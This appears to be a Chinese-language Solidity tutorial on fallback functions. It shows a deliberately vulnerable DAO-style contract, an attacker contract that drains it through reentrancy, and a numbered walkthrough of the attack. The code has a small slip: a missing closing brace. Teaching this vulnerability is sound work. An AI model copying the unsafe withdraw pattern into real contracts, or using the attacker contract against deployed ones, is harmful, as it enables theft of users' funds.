function() // 无函数名、无函数参数、无返回值

{

}

// 当要调用的函数找不到时就会触发对 fallback 函数的自动调用。

// 由于 Solidity 中提供了编译期检查，所以不能直接通过 Solidity 调用一个不存在的函数。但可以使用 Solidity 的提供的底层函数 address.call 来模拟这一行为。

function()

{

FallbackCalled(msg.data);

}

// 声明 solidity 版本

pragma solidity ^0.4.23;

// 漏洞合约

contract theDAO{

	mapping (address => uint) public _credit;

	event Deposit(address _who, uint value);

	event Withdraw(address _who, uint value);

// 存款函数，攻击合约攻击时会先存入一定金额

	function deposit() payable public returns (bool) {

        _credit[msg.sender] += msg.value;

        emit Deposit(msg.sender, msg.value);

        return true;

    }

// 取款函数

//_credit 为账户在该合约的存款

//amount 是单次取款的金额

// 关键漏洞函数

	function withdraw(uint amount) public returns (bool) {

        if (_credit[msg.sender] >= amount){

            msg.sender.call.value(amount)();

            _credit[msg.sender] -= amount;

            emit Withdraw(msg.sender, amount);

            return true;

        }

        return true;

    }

// 查询函数，查看账户在该合约中的存款

    function creditOf(address to) public returns (uint) {

        return _credit[to];

    }

// 查询函数，查看该合约中的余额

    function checkBalance() public constant returns (uint) {

        return this.balance;

    }

}

// 攻击合约

contract Attacker {

    theDAO public _newDAO;

    uint256 public times = 0;

    address _owner;

    function Attacker(theDAO addr) payable {

        _owner = msg.sender;

        _newDAO = addr;

    }

    function attack() public returns (bool) {

    	// 向漏洞合约存钱

        _newDAO.deposit.value(10)();

        // 从漏洞合约取钱

        _newDAO.withdraw(10);

        return true;

    }

    function checkBalance() public constant returns (uint) {

        return this.balance;

    }

// 记录函数，记录 fallback 函数执行次数

    function times() public constant returns (uint) {

        return times;

//fallback 回退函数

    function() public payable {

    	times += 1;

        _newDAO.withdraw(10);

    }

}

1.攻击合约执行_newDAO.deposit.value(10)();向漏洞合约转账10wei，这时漏洞合约会记录攻击合约的存款为10wei。其中sender是攻击合约地址，value是我们转入的金额。

2.攻击合约接着执行_newDAO.withdraw(10);意图从漏洞合约中取出10wei。这时漏洞合约会比较我们希望取出的金额和存款的金额，因为我们是存10取10，所以成功通过比较。

3.这时会执行漏洞合约中的msg.sender.call.value(amount)();使漏洞合约向攻击合约转账10wei。

4.攻击合约接收到10wei后执行fallback回退函数，从而执行_newDAO.withdraw(10);继续从漏洞合约中取出10wei。

5.因为在上一次取款中，漏洞合约执行msg.sender.call.value(amount)();后因为回退函数跳转回withdraw的开头，并没有执行_credit[msg.sender]-=amount;导致攻击合约在漏洞合约中的余额还是10wei（尽管我们已经取走了10wei），因此漏洞合约继续向攻击合约转账10wei。

6.攻击合约会不断重复步骤4和5，直到gas达到该次交易的上限或者漏洞合约中的余额用尽。

7.这时才会继续往下执行_credit[msg.sender]-=amount;让攻击合约在漏洞合约中的存款变为0，然后结束合约的执行。